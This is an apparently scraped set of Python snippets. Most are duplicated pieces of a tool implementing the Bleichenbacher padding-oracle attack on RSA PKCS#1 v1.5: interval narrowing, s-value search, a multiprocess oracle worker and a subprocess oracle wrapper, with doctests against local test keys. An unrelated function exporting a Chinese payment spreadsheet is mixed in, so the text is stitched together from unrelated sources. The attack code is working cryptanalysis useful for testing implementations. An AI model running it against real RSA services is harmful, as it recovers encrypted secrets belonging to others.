def __get_r_values(self, s, intervals): """returns the values of r for a given s/interval couple >>> def callback(*args): ... pass >>> o = ExecOracle("./pkcs1_test_oracle.py", ["keypairs/1024.priv", "%0256x"]) >>> b = Bleichenbacher.pubkey_from_file("keypairs/1024.pub", o, callback) >>> # Calling private method through name mangling. Not sure how to test with doctest otherwise >>> b._Bleichenbacher__get_r_values(42298L, set([(1, 2, 3)])) Traceback (most recent call last): ValueError: An interval must contain 2 values only >>> b._Bleichenbacher__get_r_values(42298L, set([(2, 1)])) Traceback (most recent call last): ValueError: The interval upper boundary must be superior to the lower boundary >>> b._Bleichenbacher__get_r_values(42298L, set([(b.B2, b.B3 - 1)])) [2] """ R = [] for interval in intervals: if len(interval) != 2: raise ValueError("An interval must contain 2 values only") a = interval[0] b = interval[1] if (a > b): raise ValueError("The interval upper boundary must be superior to the lower boundary") r_min = NumUtils.ceil_int((a * s - self.B3 + 1), self.n) r_max = NumUtils.floor_int((b * s - self.B2), self.n) R.extend([r for r in range(r_min, r_max + 1)]) return R
def __get_r_values(self, s, intervals): """returns the values of r for a given s/interval couple >>> def callback(*args): ... pass >>> o = ExecOracle("./pkcs1_test_oracle.py", ["keypairs/1024.priv", "%0256x"]) >>> b = Bleichenbacher.pubkey_from_file("keypairs/1024.pub", o, callback) >>> # Calling private method through name mangling. Not sure how to test with doctest otherwise >>> b._Bleichenbacher__get_r_values(42298L, set([(1, 2, 3)])) Traceback (most recent call last): ValueError: An interval must contain 2 values only >>> b._Bleichenbacher__get_r_values(42298L, set([(2, 1)])) Traceback (most recent call last): ValueError: The interval upper boundary must be superior to the lower boundary >>> b._Bleichenbacher__get_r_values(42298L, set([(b.B2, b.B3 - 1)])) [2] """ R = [] for interval in intervals: if len(interval) != 2: raise ValueError("An interval must contain 2 values only") a = interval[0] b = interval[1] if (a > b): raise ValueError( "The interval upper boundary must be superior to the lower boundary" ) r_min = NumUtils.ceil_int((a * s - self.B3 + 1), self.n) r_max = NumUtils.floor_int((b * s - self.B2), self.n) R.extend([r for r in range(r_min, r_max + 1)]) return R
def __init__(self, n, oracle, callback, e=0x10001, pool_size=mp.cpu_count()): """Builds an object to compute the Bleichenbacher attack >>> def callback(*args): ... pass >>> b = Bleichenbacher(1234123412341234, None, callback) Traceback (most recent call last): ValueError: Padding oracle must extend the Oracle base class >>> o = Oracle() >>> b = Bleichenbacher(1234123412341234, o, None) Traceback (most recent call last): ValueError: Callback must be a function evaluating oracle output >>> b = Bleichenbacher(1234123412341234, o, callback) >>> b.n 1234123412341234 >>> b.k 64 >>> hex(b.B2)[:3] == "0x2" True >>> hex(b.B3 - 1)[:5] == "0x2ff" True """ self.n = NumUtils.to_int_error(n, "Modulus") bits_needed = NumUtils.bytes_to_hold(self.n) * 8 self.k = NumUtils.pow2_round(bits_needed) self.e = NumUtils.to_int_error(e, "Exponent") self.B = 2**(self.k - 16) self.B2 = 2 * self.B self.B3 = 3 * self.B self.M0 = set([(self.B2, self.B3 - 1)]) self.s_min_start = NumUtils.ceil_int(n, self.B3) self.s_search_running = False self.found_solution = False self.__logger = logging.getLogger(__name__) if isinstance(oracle, Oracle): self.oracle = oracle else: raise ValueError( "Padding oracle must extend the Oracle base class") if callable(callback): self.callback = callback else: raise ValueError( "Callback must be a function evaluating oracle output") if pool_size <= 0: raise ValueError( "Number of threads in the pool must be strictly positive") self.__pool_size = pool_size self.__logger.info("Bleichenbacher attack initialized with:") self.__logger.info("\tModulus: %i" % self.n) self.__logger.info("\tPublic exponent: %i" % self.e) self.__logger.info("\tKey size (in bits): %i" % self.k) self.__logger.info("\tOracle type: %s" % self.oracle.__class__.__name__)
def __init__(self, n, oracle, callback, e=0x10001, pool_size=mp.cpu_count()): """Builds an object to compute the Bleichenbacher attack >>> def callback(*args): ... pass >>> b = Bleichenbacher(1234123412341234, None, callback) Traceback (most recent call last): ValueError: Padding oracle must extend the Oracle base class >>> o = Oracle() >>> b = Bleichenbacher(1234123412341234, o, None) Traceback (most recent call last): ValueError: Callback must be a function evaluating oracle output >>> b = Bleichenbacher(1234123412341234, o, callback) >>> b.n 1234123412341234 >>> b.k 64 >>> hex(b.B2)[:3] == "0x2" True >>> hex(b.B3 - 1)[:5] == "0x2ff" True """ self.n = NumUtils.to_int_error(n, "Modulus") bits_needed = NumUtils.bytes_to_hold(self.n) * 8 self.k = NumUtils.pow2_round(bits_needed) self.e = NumUtils.to_int_error(e, "Exponent") self.B = 2**(self.k - 16) self.B2 = 2*self.B self.B3 = 3*self.B self.M0 = set([(self.B2, self.B3 - 1)]) self.s_min_start = NumUtils.ceil_int(n, self.B3) self.s_search_running = False self.found_solution = False self.__logger = logging.getLogger(__name__) if isinstance(oracle, Oracle): self.oracle = oracle else: raise ValueError("Padding oracle must extend the Oracle base class") if callable(callback): self.callback = callback else: raise ValueError("Callback must be a function evaluating oracle output") if pool_size <= 0: raise ValueError("Number of threads in the pool must be strictly positive") self.__pool_size = pool_size self.__logger.info("Bleichenbacher attack initialized with:") self.__logger.info("\tModulus: %i" % self.n) self.__logger.info("\tPublic exponent: %i" % self.e) self.__logger.info("\tKey size (in bits): %i" % self.k) self.__logger.info("\tOracle type: %s" % self.oracle.__class__.__name__)
def __init__(self, task): """ Parses an incoming task into an RSATask Task must be a tuple containing (task_id, c, s, i) >>> task = (1,2,3) >>> rsa_task = RSAOracleWorker.RSATask(task) Traceback (most recent call last): ValueError: Task must contain 4 fields >>> task = (1, "123456789a", 1234, 8) >>> rsa_task = RSAOracleWorker.RSATask(task) >>> rsa_task.task_id 1 >>> rsa_task.c == 0x123456789a True >>> rsa_task.s 1234 >>> rsa_task.i 8 """ if len(task) != 4: raise ValueError("Task must contain 4 fields") self.task_id = task[0] self.c = NumUtils.to_int_error(task[1], "Ciphertext") self.s = task[2] self.i = task[3] signal.signal(signal.SIGINT, signal.SIG_IGN)
def query(self, c, callback): """ >>> def callback(stdout, stderr, ret_code, query_duration): ... return True >>> o = ExecOracle("./pkcs1_test_oracle.py", ["keypairs/256.priv", "%064x"]) >>> o.query("1234abcd", None) Traceback (most recent call last): ValueError: A callback must be provided to evaluate the output of the oracle >>> o.query("1234abcd", callback) True """ if callback == None: raise ValueError( "A callback must be provided to evaluate the output of the oracle" ) c = NumUtils.to_int_error(c, "Modulus") args = [self.path] for arg in self.args: try: args.append(arg % c) except TypeError: args.append(arg) process = Popen(args, stdout=PIPE, stderr=PIPE) with OracleTimer() as timer: stdout, stderr = process.communicate() rc = process.returncode return callback(stdout, stderr, rc, timer.duration)
def query(self, c, callback): """ >>> def callback(stdout, stderr, ret_code, query_duration): ... return True >>> o = ExecOracle("./pkcs1_test_oracle.py", ["keypairs/256.priv", "%064x"]) >>> o.query("1234abcd", None) Traceback (most recent call last): ValueError: A callback must be provided to evaluate the output of the oracle >>> o.query("1234abcd", callback) True """ if callback == None: raise ValueError("A callback must be provided to evaluate the output of the oracle") c = NumUtils.to_int_error(c, "Modulus") args = [self.path] for arg in self.args: try: args.append(arg % c) except TypeError: args.append(arg) process = Popen(args, stdout=PIPE, stderr=PIPE) with OracleTimer() as timer: stdout, stderr = process.communicate() rc = process.returncode return callback(stdout, stderr, rc, timer.duration)
def __get_search_intervals(self, R, s, M): """ >>> def callback(*args): ... pass >>> o = ExecOracle("./pkcs1_test_oracle.py", ["keypairs/1024.priv", "%0256x"]) >>> b = Bleichenbacher.pubkey_from_file("keypairs/1024.pub", o, callback) >>> M = b._Bleichenbacher__get_search_intervals([2, 3], 42298L, set([(b.B2, b.B3 - 1), (b.B2, b.B3 - 1)])) >>> M set([(5496887481649310677312273406003793183582777148242941892439949450277737071001138376320592327946554069347948926815933108973166742899056823715751318121381743085331656870604607768325297130993447946417262236480484519794268058017772040064446757490222074521854458697349586588761691894067915139519429990011640015L, 5496952332517777196872101955063455427770091848614542586705282468410845683670552529152252987737791673523011734569554295224428563294629460065553947372217695679665899795786657865330646504370413665056732678493596987993653272377244460842840420225558265257305452366702707014190670121644559497925100005725173178L)]) >>> print("%0256x" % list(M)[0][0]) 000201012793fa30b688fb61e3fb077f95292e18c6fbd530b5ae1ed552e9091206fd2dbddccd9299c7d28884ec3d6877cbb4add7e4bf91a656934cfda649e641e02c94b3eda5bf28ad9265036a1d5f01894b244dc4d96cbebec0bed9209feacdbffe812db5eaa25c708a58fd656c79b26bbc86a87f62d11e9d2ac541948018cf """ new_M = set([]) for (a, b) in M: for r in R: new_a = max(a, NumUtils.ceil_int(self.B2 + r * self.n, s)) new_b = min(b, NumUtils.floor_int(self.B3 - 1 + r * self.n, s)) if new_a <= new_b and (new_a, new_b) not in new_M: new_M |= set([(new_a, new_b)]) return new_M
def __init__(self, key_length): """ >>> pad = PKCS1_v15(-1) Traceback (most recent call last): ValueError: Key length cannot be negative or null >>> pad = PKCS1_v15(500) >>> pad.k == 512 / 8 True """ if key_length <= 0: raise ValueError("Key length cannot be negative or null") self.k = NumUtils.pow2_round(key_length) / 8
def __converge_s_interval(self, s, M): """Once a single interval remains, converge towards the final value of a. >>> def callback(*args): ... pass >>> o = ExecOracle("./pkcs1_test_oracle.py", ["keypairs/1024.priv", "%0256x"]) >>> b = Bleichenbacher.pubkey_from_file("keypairs/1024.pub", o, callback) >>> M = set([(5496887481649310677312273406003793183582777148242941892439949450277737071001138376320592327946554069347948926815933108973166742899056823715751318121381743085331656870604607768325297130993447946417262236480484519794268058017772040064446757490222074521854458697349586588761691894067915139519429990011640015L, 5496952332517777196872101955063455427770091848614542586705282468410845683670552529152252987737791673523011734569554295224428563294629460065553947372217695679665899795786657865330646504370413665056732678493596987993653272377244460842840420225558265257305452366702707014190670121644559497925100005725173178L)]) >>> s = 42298 >>> it = b._Bleichenbacher__converge_s_interval(s, M) >>> it.next() (84595L, 84595L) >>> it.next() (105743L, 105744L) """ if len(M) != 1: raise ValueError("M must contain only one interval") a = list(M)[0][0] b = list(M)[0][1] r = NumUtils.floor_int(2 * (b * s - self.B2), self.n) while True: s_min = NumUtils.ceil_int(self.B2 + r * self.n, b) s_max = NumUtils.floor_int(self.B3 + r * self.n, a) r += 1 yield (s_min, s_max)
def run_search(self, c): M = self.M0 s_min = self.s_min_start s_max = None c = NumUtils.to_int_error(c, "Ciphertext") self.__task_id = 0 self.__worker_pool_running = False self.__worker_pool_init(self.__pool_size) self.__worker_pool_start() self.__result_worker = th.Thread(target=self.__get_task_results) self.__result_worker.start() self.__logger.info("Starting search for:") self.__logger.info("\tCiphertext: %i" % c) self.__logger.info("\tAt start value: %i" % s_min) #s_min, i = 42298, 1 s_min, i = self.s_search(c, s_min, s_max) self.__logger.info( "Found PKCS1 conforming message in %i iterations for s value: %i" % (i, s_min)) while not self.found_solution: a = list(M)[0][0] b = list(M)[0][1] if len(M) != 1: M = self.__narrow_interval(s_min, M) s_min, i = self.s_search(c, s_min, s_max) else: if a == b: self.found_solution = True self.__logger.info("Found cleartext solution:") self.__logger.info("\tCiphertext: %i => %x" % (c, c)) self.__logger.info("\tFinal interval: %i => %x" % (a, a)) self.__logger.info("\tCleartext: %i => %x" % (a % self.n, a % self.n)) else: if s_min != None: M = self.__narrow_interval(s_min, M) it = self.__converge_s_interval(s_min, M) (s_min, s_max) = it.next() s_min, i = self.s_search(c, s_min, s_max) self.stop_search() return a, a % self.n
def run_search(self, c): M = self.M0 s_min = self.s_min_start s_max = None c = NumUtils.to_int_error(c, "Ciphertext") self.__task_id = 0 self.__worker_pool_running = False self.__worker_pool_init(self.__pool_size) self.__worker_pool_start() self.__result_worker = th.Thread(target=self.__get_task_results) self.__result_worker.start() self.__logger.info("Starting search for:") self.__logger.info("\tCiphertext: %i" % c) self.__logger.info("\tAt start value: %i" % s_min) #s_min, i = 42298, 1 s_min, i = self.s_search(c, s_min, s_max) self.__logger.info("Found PKCS1 conforming message in %i iterations for s value: %i" % (i, s_min)) while not self.found_solution: a = list(M)[0][0] b = list(M)[0][1] if len(M) != 1: M = self.__narrow_interval(s_min, M) s_min, i = self.s_search(c, s_min, s_max) else: if a == b: self.found_solution = True self.__logger.info("Found cleartext solution:") self.__logger.info("\tCiphertext: %i => %x" % (c, c)) self.__logger.info("\tFinal interval: %i => %x" % (a, a)) self.__logger.info("\tCleartext: %i => %x" % (a % self.n, a % self.n)) else: if s_min != None: M = self.__narrow_interval(s_min, M) it = self.__converge_s_interval(s_min, M) (s_min, s_max) = it.next() s_min, i = self.s_search(c, s_min, s_max) self.stop_search() return a, a % self.n
def s_search(self, c, s_min, s_max=None): """ >>> def callback(*args): ... return True if rc != 2 else False >>> o = ExecOracle("./pkcs1_test_oracle.py", ["keypairs/1024.priv", "%0256x"]) >>> b = Bleichenbacher.pubkey_from_file("keypairs/1024.pub", o, callback) >>> b.s_search("1234abcdh", 0) Traceback (most recent call last): ValueError: Ciphertext must be an integer >>> # ./rsa_test_client.py 1024.pub $(python -c 'print "000201020304050607080900" + "41"*116') >>> b.s_search("6c1d38dbcb5c0ab72324618ce93f646c842aa7029920722c14570a0d856219f778620850c57c69dc0e41923c8696d8494c846f8f2bf4f0e8d5ce4c865c624f438a70f927b77aa72628fd05bd5d7853d0d859f27b95428c9d6d16fab1ef46509051fdceb97ee0f8192e91115bc29a703278b7a95a22b90ecd5c8015d019e35b8e", b.s_min_start) # doctest: +SKIP (42298L, 28172) """ c = NumUtils.to_int_error(c, "Ciphertext") s = s_min i = 1 self.s_search_running = True self.__task_id += 1 self.__s = None self.__i = None while self.s_search_running: # Multiprocessor searching can be done when there is no upper boundary if s_max == None: self.__submit_pool_task((self.__task_id, c, s, i)) # Otherwise fallback to linear searching # TODO: Improve by rescaling the pool else: if s > s_max: self.s_search_running = False else: c_prime = (c * (s**self.e)) % self.n if self.oracle.query(c_prime, self.callback): self.__s = s self.__i = i self.s_search_running = False i += 1 s += 1 return self.__s, self.__i
else: cleartexts = [ cleartext.strip(linesep) for cleartext in stdin.readlines() ] print_encrypted = args.clear if args.tests == None: tests = (1, ) else: tests = set(args.tests) if args.pubkey != None: try: rsa = RSA.importKey(args.pubkey.read()) k = NumUtils.pow2_round(rsa.size()) except Exception as ex: print("Can't load public key from file %s: " % args.pubkey.name, ex, file=stderr) parser.print_help() exit(1) else: print_encrypted = False if args.length != None: k = NumUtils.pow2_round(args.length) if args.hex: try: cleartexts = [unhexlify(cleartext) for cleartext in cleartexts]
def export_cwzfd(filename, ffny): """ 导出财务支付单 filename: 模板文件名 ffny: 发放年月 """ with DefaultSession(ZfModSession) as session: xlsbook = open_workbook(filename, formatting_info=1) book = copy(xlsbook) sheet = book.get_sheet(0) begindex = rowindex = 4 total = 0 m = re.match(r'(\d\d\d\d)(\d\d)', ffny) if m: ffn = m.group(1) ffy = int(m.group(2)) else: raise Exception('发放年月格式有误(yyyynn)!') date = Date.today().strftime('%Y%m%d') title = '%s年%d月个人账户返还表' % (ffn, ffy) sheet.update(0, 0, title) # datecn = Date.today().strftime('%Y年%#m月') datecn = Date.today().strftime('%Y{0}%#m{1}%#d{2}').format(*'年月日') zbdate = "制表时间:" + datecn sheet.update(1, 7, zbdate) jo = session.cwzfgl_query(ffny) if jo and jo.get('datas'): for item in jo['datas']: if item.get('aaa079') == '3': jo_item = session.cwzfgl_zfdry_query(item)['datas'][0] tbr_name = jo_item['aac003'] tbr_idcard = jo_item['aac002'] zfdh = jo_item['aaz031'] fhje = jo_item['aae019'] bank_name = item['aae009'] bank_idcard = item['bie013'] bank_number = item['aae010'] jo_zz = session.cbzzfh_perinfo_list(tbr_idcard) if jo_zz and jo_zz['rowcount'] > 0: jo_zz_info = session.cbzzfh_perinfo( jo_zz['datas'][0])['datas'][0] fhyy = session.get_zzyy_cn(jo_zz_info['aae160']) bank_type = session.get_bank_name_cn( jo_zz_info['aaz065']) else: jo_zz = session.dyzzfh_perinfo_list(tbr_idcard) if jo_zz and jo_zz['rowcount'] > 0: jo_zz_info = session.dyzzfh_perinfo( jo_zz['datas'][0])['datas'][0] fhyy = session.get_zzyy_cn(jo_zz_info['aae160']) bank_type = session.get_bank_name_cn( jo_zz_info['aaz065']) else: fhyy = '' bank_type = '' row = sheet.get_or_create_row_from(rowindex, begindex) row.update(0, rowindex - begindex + 1) row.update(1, tbr_name) row.update(2, tbr_idcard) row.update(3, fhyy) row.update(4, zfdh) row.update(5, fhje) row.update(6, NumUtils.to_chinese_number(fhje)) row.update(7, bank_name) row.update(8, bank_number) row.update(9, bank_type) total += fhje rowindex += 1 row = sheet.get_or_create_row_from(rowindex, begindex) row.update(0, '合计') row.update(4, '') row.update(5, total) ext = filename.rfind('.') if ext > -1: tofilename = filename[0:ext] + date + filename[ext:] else: tofilename = filename + date book.save(tofilename)
if args.cleartext != '-': cleartexts = [args.cleartext] else: cleartexts = [cleartext.strip(linesep) for cleartext in stdin.readlines()] print_encrypted = args.clear if args.tests == None: tests = (1,) else: tests = set(args.tests) if args.pubkey != None: try: rsa = RSA.importKey(args.pubkey.read()) k = NumUtils.pow2_round(rsa.size()) except Exception as ex: print("Can't load public key from file %s: " % args.pubkey.name, ex, file=stderr) parser.print_help() exit(1) else: print_encrypted = False if args.length != None: k = NumUtils.pow2_round(args.length) if args.hex: try: cleartexts = [unhexlify(cleartext) for cleartext in cleartexts] except TypeError as te: print("Cleartext provided is not in hex format: %s: " % cleartext, te, file=stderr)